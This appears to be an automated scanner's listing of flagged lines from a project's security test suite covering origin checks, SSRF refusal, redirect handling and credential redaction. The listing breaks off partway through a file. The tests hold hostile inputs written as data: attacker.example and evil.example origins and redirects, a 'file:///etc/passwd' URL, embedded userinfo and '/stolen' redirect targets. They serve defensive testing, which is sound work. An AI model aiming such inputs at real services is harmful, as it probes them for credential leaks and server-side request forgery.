tests/test_security/test_api_key_never_follows_redirect.py
- Executable scriptline 1
Executable file - Network accessline 45
# The one reviewed CLIENT. It forwards a relayed MCP request to this machine's # own daemon and may attach the key (supplied by the local installation, never # by the relay) to that request. It accepts only http://127.0.0.1:<port>/m - Network accessline 46
# own daemon and may attach the key (supplied by the local installation, never # by the relay) to that request. It accepts only http://127.0.0.1:<port>/mcp # as origin (anything else throws invalid_local_origin), sends with - Network accessline 47
# by the relay) to that request. It accepts only http://127.0.0.1:<port>/mcp - Network accessline 118
target, method) -> None: port, seen = collector location = {"other-port": f"http://127.0.0.1:{port}/stolen", - Network accessline 119
port, seen = collector location = {"other-port": f"http://127.0.0.1:{port}/stolen", "other-host": f"http://localhost:{port}/stolen", - Network accessline 120
location = {"other-port": f"http://127.0.0.1:{port}/stolen", - Network accessline 121
"other-host": f"http://localhost:{port}/stolen", - Network accessline 122
"other-scheme": f"https://127.0.0.1:{port}/stolen"}[target] - Network accessline 123
squatter = _squatter(status, location) try: request = urllib.request.Request( - Network accessline 124
try: request = urllib.request.Request( f"http://127.0.0.1:{squatter.server_address[1]}/mcp/hermes", - Network accessline 125
request = urllib.request.Request( - Network accessline 126
f"http://127.0.0.1:{squatter.server_address[1]}/mcp/hermes", - Access to secretsline 155
[Credential-related source omitted]
tests/test_security/test_bound_origin_integration.py
- Executable scriptline 1
Executable file - Network accessline 19
session = rbac.create_session(uid) client = TestClient( app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", - Network accessline 20
client = TestClient( app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", client=("127.0.0.1", 51000), - Network accessline 21
app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", - Network accessline 28
@pytest.mark.parametrize("origin", [ "http://127.0.0.1:8765", "http://localhost:8765", - Network accessline 29
"http://127.0.0.1:8765", "http://localhost:8765", - Network accessline 30
"http://127.0.0.1:8767", "http://localhost:8767", - Network accessline 31
"http://127.0.0.1:8417", "https://attacker.example", - Network accessline 45
def test_bound_origin_can_read_company_response(browser_app, host): app, client = browser_app origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 46
app, client = browser_app origin = f"http://{host}:{app.state.daemon_descriptor.port}" response = client.get("/api/memories", headers={"Origin": origin}) - Network accessline 47
origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 59
app, client = browser_app port = app.state.daemon_descriptor.port if origin_kind == "own" else 8767 origin = f"http://127.0.0.1:{port}" - Network accessline 60
port = app.state.daemon_descriptor.port if origin_kind == "own" else 8767 origin = f"http://127.0.0.1:{port}" response = client.get("/internal/token", headers={"Origin": origin}) - Network accessline 61
origin = f"http://127.0.0.1:{port}" - Access to secretsline 79
[Credential-related source omitted] - Network accessline 87
assert port not in (0, 8765, 8767) app = daemon.create_app() client = TestClient(app, base_url=f"http://127.0.0.1:{port}", - Network accessline 88
app = daemon.create_app() client = TestClient(app, base_url=f"http://127.0.0.1:{port}", client=("127.0.0.1", 51000)) - Network accessline 89
client = TestClient(app, base_url=f"http://127.0.0.1:{port}", - Network accessline 90
client=("127.0.0.1", 51000)) response = client.get("/health", headers={"Origin": f"http://localhost:{port}"}) observed.append(response.headers.get("access-control-allow-origin")) - Network accessline 91
response = client.get("/health", headers={"Origin": f"http://localhost:{port}"}) - Network accessline 93
assert observed[-1] == f"http://localhost:{port}" - Network accessline 106
client = TestClient(app, client=("127.0.0.1", 51000)) for host in ("localhost", "127.0.0.1"): origin = f"http://{host}:8765" - Network accessline 107
for host in ("localhost", "127.0.0.1"): origin = f"http://{host}:8765" response = client.get("/health", headers={"Origin": origin}) - Network accessline 108
origin = f"http://{host}:8765" - Network accessline 110
assert response.headers.get("access-control-allow-origin") == origin assert "access-control-allow-origin" not in client.get( "/health", headers={"Origin": "http://localhost:8767"}, - Network accessline 111
assert "access-control-allow-origin" not in client.get( "/health", headers={"Origin": "http://localhost:8767"}, ).headers - Network accessline 112
"/health", headers={"Origin": "http://localhost:8767"}, - Network accessline 121
client = TestClient(daemon.create_app(), client=("127.0.0.1", 51000)) assert "access-control-allow-origin" not in client.get( "/health", headers={"Origin": "http://localhost:8767"}, - Network accessline 122
assert "access-control-allow-origin" not in client.get( "/health", headers={"Origin": "http://localhost:8767"}, ).headers - Network accessline 123
"/health", headers={"Origin": "http://localhost:8767"},
tests/test_security/test_configured_proxy_host.py
- Executable scriptline 1
Executable file - Network accessline 49
listener = socket.socket() - Network accessline 82
headers["X-Forwarded-For"] = "127.0.0.1" # a claimed local caller stays remote headers["X-Forwarded-Proto"] = headers.pop("X-Test-Proto", "https") response = httpx.post(f"http://127.0.0.1:{port}{self.path}", content - Network accessline 83
headers["X-Forwarded-Proto"] = headers.pop("X-Test-Proto", "https") response = httpx.post(f"http://127.0.0.1:{port}{self.path}", content=body, headers=headers, trust_env=False) - Network accessline 84
response = httpx.post(f"http://127.0.0.1:{port}{self.path}", content=body, - Network accessline 98
worker.start() try: target = f"http://127.0.0.1:{proxy.server_port}/mcp/" - Network accessline 99
try: target = f"http://127.0.0.1:{proxy.server_port}/mcp/" headers = {"Host": f"slm.office.lan:{proxy.server_port}", - Network accessline 100
target = f"http://127.0.0.1:{proxy.server_port}/mcp/" - Network accessline 103
body = {"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "get_status", "arguments": {}}} with httpx.Client(trust_env=False) as client: - Network accessline 104
"params": {"name": "get_status", "arguments": {}}} with httpx.Client(trust_env=False) as client: anonymous = client.post(target, json=body, headers=headers) - Network accessline 105
with httpx.Client(trust_env=False) as client:
tests/test_security/test_forwarded_and_ingest_integration.py
- Executable scriptline 1
Executable file - Network accessline 41
def test_real_reverse_proxy_never_borrows_loopback_trust( engine_with_mock_deps, tmp_path, monkeypatch, request): listener = socket.socket() - Network accessline 42
engine_with_mock_deps, tmp_path, monkeypatch, request): listener = socket.socket() listener.bind(("127.0.0.1", 0)) - Network accessline 43
listener = socket.socket() - Network accessline 47
monkeypatch.setenv("SLM_DAEMON_PORT", str(port)) app = request.getfixturevalue("app_and_engine") backend = f"http://127.0.0.1:{port}" - Network accessline 48
app = request.getfixturevalue("app_and_engine") backend = f"http://127.0.0.1:{port}" (tmp_path / "api_key").write_text("test-proxy-api-credential", encoding="utf-8") - Network accessline 49
backend = f"http://127.0.0.1:{port}" - Access to secretsline 50
[Credential-related source omitted] - Network accessline 54
headers = dict(self.headers) headers["X-Forwarded-For"] = headers.get("X-Forwarded-For", "203.0.113.10") response = httpx.get(backend + self.path, headers=headers, trust_env=False) - Network accessline 55
headers["X-Forwarded-For"] = headers.get("X-Forwarded-For", "203.0.113.10") response = httpx.get(backend + self.path, headers=headers, trust_env=False) self.send_response(response.status_code) - Network accessline 56
response = httpx.get(backend + self.path, headers=headers, trust_env=False) - Network accessline 66
with _serve(app, listener): assert httpx.get(backend + "/api/memories", trust_env=False).status_code == 200 - Network accessline 67
assert httpx.get(backend + "/api/memories", trust_env=False).status_code == 200 - Network accessline 68
for host in ("192.0.2.10", "attacker.example"): assert httpx.get(backend + "/internal/token", headers={"Host": host}, trust_env=False).status_code == 421 - Network accessline 69
assert httpx.get(backend + "/internal/token", headers={"Host": host}, - Network accessline 73
proxy_thread.start() try: url = f"http://127.0.0.1:{proxy.server_port}" - Network accessline 74
try: url = f"http://127.0.0.1:{proxy.server_port}" for claimed in ("127.0.0.1", "203.0.113.10", "127.0.0.1, 203.0.113.10"): - Network accessline 75
url = f"http://127.0.0.1:{proxy.server_port}" - Network accessline 76
for claimed in ("127.0.0.1", "203.0.113.10", "127.0.0.1, 203.0.113.10"): for path in ("/api/memories", "/internal/token"): response = httpx.get(url + path, headers={"X-Forwarded-For": claimed}, - Network accessline 77
for path in ("/api/memories", "/internal/token"): response = httpx.get(url + path, headers={"X-Forwarded-For": claimed}, trust_env=False) - Network accessline 78
response = httpx.get(url + path, headers={"X-Forwarded-For": claimed}, - Network accessline 80
assert response.status_code == 401 assert response.json()["error"] == "remote_auth_required" authorized = httpx.get(url + "/api/memories", headers={ - Network accessline 81
[Credential-related source omitted] - Network accessline 82
authorized = httpx.get(url + "/api/memories", headers={
tests/test_security/test_forwarded_loopback_demotion.py
- Executable scriptline 1
Executable file - Network accessline 20
import ast import http.client import socket - Network accessline 21
import http.client import socket import threading - Network accessline 55
def _loopback_client(app) -> TestClient: return TestClient(app, client=("127.0.0.1", 50000), base_url="http://127.0.0.1:8765") - Network accessline 56
return TestClient(app, client=("127.0.0.1", 50000), base_url="http://127.0.0.1:8765") - Network accessline 120
else: monkeypatch.setenv(forwarded_guard.TRUSTED_PROXIES_ENV, trusted) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 121
monkeypatch.setenv(forwarded_guard.TRUSTED_PROXIES_ENV, trusted) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 122
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 153
def _post(port: int, headers: dict[str, str]) -> tuple[int, bytes]: conn = http.client.HTTPConnection("127.0.0.1", port, timeout=30) - Network accessline 154
conn = http.client.HTTPConnection("127.0.0.1", port, timeout=30)
tests/test_security/test_headers.py
- Executable scriptline 1
Executable file
tests/test_security/test_host_listener_integration.py
- Executable scriptline 1
Executable file
tests/test_security/test_injection_boundary_parity.py
- Executable scriptline 1
Executable file
tests/test_security/test_injection_uses_hosted_redaction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 33
[Credential-related source omitted]
tests/test_security/test_ipv6_browser_listener.py
- Executable scriptline 1
Executable file - Network accessline 22
listener = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) - Network accessline 34
app.router.lifespan_context = lifespan ensure_install_token() origin = f"http://[::1]:{port}" - Network accessline 35
ensure_install_token() origin = f"http://[::1]:{port}" url = f"ws://[::1]:{port}/ws/updates" - Network accessline 36
origin = f"http://[::1]:{port}" - Network accessline 37
url = f"ws://[::1]:{port}/ws/updates" with running_backend(app, listener): with httpx.Client(trust_env=False) as client: - Network accessline 38
with running_backend(app, listener): with httpx.Client(trust_env=False) as client: assert client.get(origin + "/").status_code == 200 - Network accessline 39
with httpx.Client(trust_env=False) as client: - Network accessline 52
other_port = port + 1 if port < 65535 else port - 1 with pytest.raises(InvalidStatus) as exc: with connect(url, origin=f"http://[::1]:{other_port}", proxy=None, open_timeout=4): - Network accessline 53
with pytest.raises(InvalidStatus) as exc: with connect(url, origin=f"http://[::1]:{other_port}", proxy=None, open_timeout=4): pytest.fail("another IPv6 browser port was accepted") - Network accessline 54
with connect(url, origin=f"http://[::1]:{other_port}", proxy=None, open_timeout=4):
tests/test_security/test_lan_websocket_compatibility.py
- Executable scriptline 1
Executable file - Access to secretsline 22
[Credential-related source omitted] - Network accessline 37
if network: monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", network) origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 39
origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 62
app, key = lan_browser port = app.state.daemon_descriptor.port origin = f"http://slm.lan:{port}" - Network accessline 63
port = app.state.daemon_descriptor.port origin = f"http://slm.lan:{port}" if case == "foreign": - Network accessline 64
origin = f"http://slm.lan:{port}" - Network accessline 65
if case == "foreign": origin = f"https://attacker.example:{port}" elif case == "other_port": - Network accessline 66
origin = f"https://attacker.example:{port}" - Network accessline 67
elif case == "other_port": origin = f"http://slm.lan:{port + 1 if port < 65535 else port - 1}" elif case == "remote_off": - Network accessline 68
origin = f"http://slm.lan:{port + 1 if port < 65535 else port - 1}" - Network accessline 75
elif case == "cidr": monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.51.0/24") origin = f"http://192.168.50.144:{port}" - Network accessline 76
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.51.0/24") origin = f"http://192.168.50.144:{port}" elif case in ("literal_wildcard", "literal_suffix_wildcard"): - Network accessline 77
origin = f"http://192.168.50.144:{port}" - Network accessline 79
host = "*" if case == "literal_wildcard" else "*.office.lan" monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", host) origin = f"http://{host}:{port}" - Network accessline 80
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", host) origin = f"http://{host}:{port}" elif case in ("prefix_outside", "prefix_domain"): - Network accessline 81
origin = f"http://{host}:{port}" - Network accessline 83
monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.*") host = "192.168.51.144" if case == "prefix_outside" else "192.168.50.evil.example" origin = f"http://{host}:{port}" - Network accessline 84
host = "192.168.51.144" if case == "prefix_outside" else "192.168.50.evil.example" origin = f"http://{host}:{port}" elif case in ("wildcard_same_host_other_port", "wildcard_bad_host"): - Network accessline 85
origin = f"http://{host}:{port}" - Network accessline 88
if case == "wildcard_same_host_other_port": other = port + 1 if port < 65535 else port - 1 origin = f"http://slm.lan:{other}" - Network accessline 89
other = port + 1 if port < 65535 else port - 1 origin = f"http://slm.lan:{other}" client = TestClient(app, client=("192.168.50.99", 51000)) - Network accessline 90
origin = f"http://slm.lan:{other}" - Network accessline 105
app, key = lan_browser client = TestClient(app, client=("192.168.50.99", 51000)) headers = {"Origin": f"http://slm.lan:{app.state.daemon_descriptor.port}"} - Network accessline 106
client = TestClient(app, client=("192.168.50.99", 51000)) headers = {"Origin": f"http://slm.lan:{app.state.daemon_descriptor.port}"} if credential == "invalid": - Network accessline 107
headers = {"Origin": f"http://slm.lan:{app.state.daemon_descriptor.port}"} - Network accessline 129
_company_mode(app) rbac = app.state.rbac origin = f"http://slm.lan:{app.state.daemon_descriptor.port}" - Network accessline 130
rbac = app.state.rbac origin = f"http://slm.lan:{app.state.daemon_descriptor.port}" url = origin.replace("http://", "ws://", 1) + "/ws/updates" - Network accessline 131
origin = f"http://slm.lan:{app.state.daemon_descriptor.port}"
tests/test_security/test_loopback_network_isolation.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted]
tests/test_security/test_mcp_transport_auth.py
- Executable scriptline 1
Executable file - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted]
tests/test_security/test_media_fetch.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 32
kw.setdefault("resolver", resolver_for(*addrs)) out = fetch_media(url, remote=remote, transport=httpx.MockTransport(wrapped), allowed_hosts=hosts, **kw) - Network accessline 33
out = fetch_media(url, remote=remote, transport=httpx.MockTransport(wrapped), allowed_hosts=hosts, **kw) - Network accessline 37
def ok(_request): return httpx.Response(200, content=PNG, headers={"content-type": "image/png"}) - Network accessline 38
return httpx.Response(200, content=PNG, headers={"content-type": "image/png"}) - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Network accessline 66
assert out.data == PNG and out.content_type_header == "image/png" assert out.final_url == "https://img.example.com/a.png" # no query or userinfo kept assert len(seen) == 1 and seen[0].method == "GET" - Network accessline 67
assert out.final_url == "https://img.example.com/a.png" # no query or userinfo kept - Network accessline 71
@pytest.mark.parametrize("url", [ "http://img.example.com/a.png", "ftp://img.example.com/a.png", "file:///etc/passwd", - Network accessline 72
"http://img.example.com/a.png", "ftp://img.example.com/a.png", "file:///etc/passwd", - Network accessline 73
"https://zed:hunter2@img.example.com/a.png", "https:///a.png", "not a url", "", - Network accessline 81
def test_an_ip_literal_to_a_private_address_is_refused(): with pytest.raises(MediaFetchRefused): run("https://127.0.0.1/a.png", ok) - Network accessline 82
with pytest.raises(MediaFetchRefused): run("https://127.0.0.1/a.png", ok) with pytest.raises(MediaFetchRefused): - Network accessline 83
run("https://127.0.0.1/a.png", ok) - Network accessline 85
run("https://[::ffff:7f00:1]/a.png", ok) - Network accessline 88
def test_a_dns_answer_with_one_private_address_is_refused(): with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", ok, addrs=(PUBLIC, "10.0.0.5")) - Network accessline 90
run("https://img.example.com/a.png", ok, addrs=(PUBLIC, "10.0.0.5")) - Network accessline 93
def test_an_empty_dns_answer_is_refused(): with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", ok, addrs=()) - Network accessline 95
run("https://img.example.com/a.png", ok, addrs=()) - Network accessline 102
with pytest.raises(MediaFetchRefused) as e: run("https://img.example.com/a.png?k=SECRET", ok, resolver=boom) - Network accessline 103
run("https://img.example.com/a.png?k=SECRET", ok, resolver=boom) - Network accessline 107
def test_the_connection_goes_to_the_vetted_ip_with_the_original_host(): _out, seen = run("https://img.example.com/p/a.png?x=1", ok) - Network accessline 108
_out, seen = run("https://img.example.com/p/a.png?x=1", ok) - Network accessline 115
def test_an_ipv6_answer_is_connected_to_in_brackets(): _out, seen = run("https://img.example.com/a.png", ok, addrs=("2606:4700::1",)) - Network accessline 116
_out, seen = run("https://img.example.com/a.png", ok, addrs=("2606:4700::1",)) - Network accessline 118
assert str(seen[0].url).startswith("https://[2606:4700::1]") - Network accessline 128
_out, seen = run("https://img.example.com/a.png", ok, resolver=resolver) - Network accessline 133
def handler(request): if request.headers["host"] == "img.example.com": return httpx.Response(302, headers={"location": "https://evil.example.net/x.png"}) - Network accessline 134
if request.headers["host"] == "img.example.com": return httpx.Response(302, headers={"location": "https://evil.example.net/x.png"}) return httpx.Response(200, content=PNG) - Network accessline 135
return httpx.Response(302, headers={"location": "https://evil.example.net/x.png"}) - Network accessline 136
return httpx.Response(200, content=PNG) - Network accessline 141
with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", handler, resolver=resolver) - Network accessline 142
run("https://img.example.com/a.png", handler, resolver=resolver) - Network accessline 145
def test_a_redirect_to_a_private_literal_or_http_is_refused(): for loc in ("https://10.0.0.1/x.png", "http://img.example.com/x.png", "https://[::1]/x"): h = lambda r, loc=loc: httpx.Response(301, headers={"location": loc}) # no - Network accessline 146
for loc in ("https://10.0.0.1/x.png", "http://img.example.com/x.png", "https://[::1]/x"): h = lambda r, loc=loc: httpx.Response(301, headers={"location": loc}) # noqa: E731 with pytest.raises(MediaFetchRefused): - Network accessline 147
h = lambda r, loc=loc: httpx.Response(301, headers={"location": loc}) # noqa: E731 - Network accessline 149
run("https://img.example.com/a.png", h) - Network accessline 155
n = int(request.url.path.strip("/") or 0) if n < limit: return httpx.Response(302, headers={"location": f"/{n + 1}"}) - Network accessline 156
if n < limit: return httpx.Response(302, headers={"location": f"/{n + 1}"}) return httpx.Response(200, content=PNG) - Network accessline 157
return httpx.Response(302, headers={"location": f"/{n + 1}"}) - Network accessline 158
return httpx.Response(200, content=PNG) - Network accessline 161
out, seen = run("https://img.example.com/", chain(3)) - Network accessline 162
assert out.data == PNG and len(seen) == 4 with pytest.raises(MediaFetchRefused): run("https://img.example.com/", chain(4)) - Network accessline 164
run("https://img.example.com/", chain(4)) - Network accessline 167
def test_a_redirect_without_a_location_is_refused(): with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", lambda r: httpx.Response(302)) - Network accessline 169
run("https://img.example.com/a.png", lambda r: httpx.Response(302)) - Network accessline 180
with pytest.raises(MediaFetchRefused) as e: run("https://img.example.com/big.png", lambda r: httpx.Response(200, content=stream())) - Network accessline 181
run("https://img.example.com/big.png", lambda r: httpx.Response(200, content=stream())) - Network accessline 185
def test_a_declared_length_past_the_cap_is_refused_early(): h = lambda r: httpx.Response(200, headers={"content-length": str(26 * 1024 * 1024)}, content=b"z") # noqa: E731 - Network accessline 186
h = lambda r: httpx.Response(200, headers={"content-length": str(26 * 1024 * 1024)}, content=b"z") # noqa: E731 - Network accessline 188
run("https://img.example.com/big.png", h) - Network accessline 199
with pytest.raises(MediaFetchRefused) as e: run("https://img.example.com/a.png", lambda r: httpx.Response(200, content=stream()), clock=lambda: now[0]) - Network accessline 200
run("https://img.example.com/a.png", lambda r: httpx.Response(200, content=stream()), clock=lambda: now[0]) - Network accessline 204
def test_a_connect_timeout_is_a_refusal(): def handler(request): raise httpx.ConnectTimeout("t") - Network accessline 206
raise httpx.ConnectTimeout("t") - Network accessline 208
with pytest.raises(MediaFetchRefused) as e: run("https://img.example.com/a.png?k=SECRET", handler) - Network accessline 209
run("https://img.example.com/a.png?k=SECRET", handler) - Network accessline 213
def test_an_error_status_is_refused(): with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", lambda r: httpx.Response(404)) - Network accessline 215
run("https://img.example.com/a.png", lambda r: httpx.Response(404)) - Network accessline 218
def test_remote_callers_with_no_allow_list_are_refused(): with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", ok, remote=True, hosts="") - Network accessline 220
run("https://img.example.com/a.png", ok, remote=True, hosts="") - Network accessline 223
def test_local_callers_with_no_allow_list_may_fetch_any_public_host(): out, _ = run("https://img.example.com/a.png", ok, remote=False, hosts="") - Network accessline 224
out, _ = run("https://img.example.com/a.png", ok, remote=False, hosts="") - Network accessline 228
def test_the_allow_list_limits_hosts_and_redirect_targets(monkeypatch): out, _ = run("https://img.example.com/a.png", ok, remote=True, hosts="other.test, IMG.example.com") - Network accessline 229
out, _ = run("https://img.example.com/a.png", ok, remote=True, hosts="other.test, IMG.example.com") - Network accessline 230
assert out.data == PNG with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", ok, remote=False, hosts="other.test") - Network accessline 232
run("https://img.example.com/a.png", ok, remote=False, hosts="other.test") - Network accessline 234
def hop(request): return httpx.Response(302, headers={"location": "https://cdn.other.net/x.png"}) - Network accessline 235
return httpx.Response(302, headers={"location": "https://cdn.other.net/x.png"}) - Network accessline 237
with pytest.raises(MediaFetchRefused): run("https://img.example.com/a.png", hop, remote=False, hosts="img.example.com") - Network accessline 238
run("https://img.example.com/a.png", hop, remote=False, hosts="img.example.com") - Network accessline 242
monkeypatch.setenv("SLM_MEDIA_URL_HOSTS", "only.example.org") with pytest.raises(MediaFetchRefused): fetch_media("https://img.example.com/a.png", remote=False, resolver=resolver_for(PUBLIC), - Network accessline 243
with pytest.raises(MediaFetchRefused): fetch_media("https://img.example.com/a.png", remote=False, resolver=resolver_for(PUBLIC), transport=httpx.MockTransport(ok)) - Network accessline 244
fetch_media("https://img.example.com/a.png", remote=False, resolver=resolver_for(PUBLIC), - Network accessline 245
transport=httpx.MockTransport(ok)) - Network accessline 248
def test_the_client_ignores_the_environment_proxy(monkeypatch): monkeypatch.setenv("HTTPS_PROXY", "http://127.0.0.1:9") - Network accessline 249
monkeypatch.setenv("HTTPS_PROXY", "http://127.0.0.1:9") seen = {} real = httpx.Client - Network accessline 257
monkeypatch.setattr(media_fetch.httpx, "Client", spy) run("https://img.example.com/a.png", ok) - Network accessline 258
run("https://img.example.com/a.png", ok) - Network accessline 262
def test_refusal_reasons_never_hold_the_query_or_userinfo(): for url in ("https://zed:hunter2@img.example.com/a.png?k=SECRET", "http://img.example.com/a.png?k=SECRET", - Network accessline 263
for url in ("https://zed:hunter2@img.example.com/a.png?k=SECRET", "http://img.example.com/a.png?k=SECRET", - Network accessline 264
"https://10.0.0.1/a.png?k=SECRET"):
tests/test_security/test_media_fetch_file_hosts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratapbhardwaj.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratapbhardwaj.com - Network accessline 16
PNG = b"\x89PNG\r\n\x1a\n" + b"x" * 20 CHAT_HOST = "files.chat.example" CHAT_LINK = f"https://{CHAT_HOST}/file-1?sig=SECRET" - Network accessline 17
CHAT_HOST = "files.chat.example" CHAT_LINK = f"https://{CHAT_HOST}/file-1?sig=SECRET" OWN_HOST = "mine.example" - Network accessline 18
CHAT_LINK = f"https://{CHAT_HOST}/file-1?sig=SECRET" - Network accessline 27
def ok(_request): return httpx.Response(200, content=PNG, headers={"content-type": "image/png"}) - Network accessline 28
return httpx.Response(200, content=PNG, headers={"content-type": "image/png"}) - Network accessline 32
return fetch_media(url, remote=remote, allowed_hosts=hosts, file_param=file_param, resolver=lambda host, port: list(addrs), transport=httpx.MockTransport(handler), **kw) - Network accessline 34
transport=httpx.MockTransport(handler), **kw) - Network accessline 58
def test_the_defaults_are_merged_with_the_users_list_not_replacing_it(): assert get(f"https://{OWN_HOST}/a.png", hosts=OWN_HOST, file_param=True).data == PNG - Network accessline 59
assert get(f"https://{OWN_HOST}/a.png", hosts=OWN_HOST, file_param=True).data == PNG - Network accessline 60
assert get(CHAT_LINK, hosts=OWN_HOST, file_param=True).data == PNG with pytest.raises(MediaFetchRefused) as e: get("https://other.example/a.png", hosts=OWN_HOST, file_param=True) - Network accessline 61
with pytest.raises(MediaFetchRefused) as e: get("https://other.example/a.png", hosts=OWN_HOST, file_param=True) assert "not on the allowed list" in e.value.reason - Network accessline 62
get("https://other.example/a.png", hosts=OWN_HOST, file_param=True) - Network accessline 66
def test_a_file_object_with_an_unlisted_host_is_refused_for_a_remote_caller(): with pytest.raises(MediaFetchRefused): get("https://other.example/a.png", file_param=True) - Network accessline 68
get("https://other.example/a.png", file_param=True) - Network accessline 79
def test_a_local_caller_with_no_user_list_is_not_narrowed_by_the_defaults(): assert get("https://anywhere.example/a.png", remote=False, file_param=True).data == PNG - Network accessline 80
assert get("https://anywhere.example/a.png", remote=False, file_param=True).data == PNG - Network accessline 83
@pytest.mark.parametrize("url", [ f"http://{CHAT_HOST}/f", f"https://u:p@{CHAT_HOST}/f", "file:///etc/passwd", - Network accessline 84
f"http://{CHAT_HOST}/f", f"https://u:p@{CHAT_HOST}/f", "file:///etc/passwd", - Network accessline 98
def handler(request): if request.headers["host"] == CHAT_HOST: return httpx.Response(302, headers={"location": "https://evil.example/x.png"}) - Network accessline 99
if request.headers["host"] == CHAT_HOST: return httpx.Response(302, headers={"location": "https://evil.example/x.png"}) return httpx.Response(200, content=PNG) - Network accessline 100
return httpx.Response(302, headers={"location": "https://evil.example/x.png"}) - Network accessline 101
return httpx.Response(200, content=PNG) - Network accessline 108
def test_a_redirect_to_a_private_address_from_a_trusted_host_is_refused(): def handler(request): return httpx.Response(302, headers={"location": f"https://{CHAT_HOST}/again"}) - Network accessline 110
return httpx.Response(302, headers={"location": f"https://{CHAT_HOST}/again"}) - Network accessline 116
def test_the_size_cap_still_applies_to_a_file_object(): with pytest.raises(MediaFetchRefused) as e: get(CHAT_LINK, lambda r: httpx.Response(200, content=b"x" * 100), file_param=True, max_bytes=50) - Network accessline 117
with pytest.raises(MediaFetchRefused) as e: get(CHAT_LINK, lambda r: httpx.Response(200, content=b"x" * 100), file_param=True, max_bytes=50) assert "too large" in e.value.reason - Network accessline 118
get(CHAT_LINK, lambda r: httpx.Response(200, content=b"x" * 100), file_param=True, max_bytes=50) - Network accessline 128
file_param=kw.pop("file_param", False), resolver=lambda host, port: [PUBLIC], transport=httpx.MockTransport(handler), **kw) - Network accessline 129
resolver=lambda host, port: [PUBLIC], transport=httpx.MockTransport(handler), **kw) return info, chunks - Network accessline 130
transport=httpx.MockTransport(handler), **kw) - Network accessline 134
def pdf_chunks(_request): return httpx.Response(200, content=iter([b"%PDF-1.4 ", b"a" * 10, b"b" * 10]), - Network accessline 135
return httpx.Response(200, content=iter([b"%PDF-1.4 ", b"a" * 10, b"b" * 10]), - Network accessline 141
assert b"".join(chunks) == b"%PDF-1.4 " + b"a" * 10 + b"b" * 10 and len(chunks) >= 2 assert info.size == 29 and info.content_type_header == "application/pdf" assert info.final_url == f"https://{CHAT_HOST}/file-1" - Network accessline 143
assert info.final_url == f"https://{CHAT_HOST}/file-1" - Network accessline 149
def handler(request): seen.append(request.headers["accept"]) return httpx.Response(404) - Network accessline 151
return httpx.Response(404) - Network accessline 166
stream(CHAT_LINK, pdf_chunks, file_param=False) with pytest.raises(MediaFetchRefused): stream("https://other.example/a.pdf", pdf_chunks, file_param=True) - Network accessline 168
stream("https://other.example/a.pdf", pdf_chunks, file_param=True)
tests/test_security/test_mesh_egress_redaction.py
- Executable scriptline 1
Executable file - Access to secretsline 73
[Credential-related source omitted] - Network accessline 95
def test_credential_to_lan_peer_arrives_redacted(self, broker, mesh_db): client = _sync_client(broker, "http://192.168.1.50:8765") - Network accessline 96
client = _sync_client(broker, "http://192.168.1.50:8765") - Network accessline 113
def test_same_message_to_loopback_peer_arrives_verbatim(self, broker, mesh_db): client = _sync_client(broker, "http://127.0.0.1:8765") - Network accessline 114
client = _sync_client(broker, "http://127.0.0.1:8765") - Network accessline 134
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Network accessline 135
[Credential-related source omitted] - Network accessline 136
"SLM_MESH_PEER_URL": "http://192.168.1.50:8765", - Network accessline 179
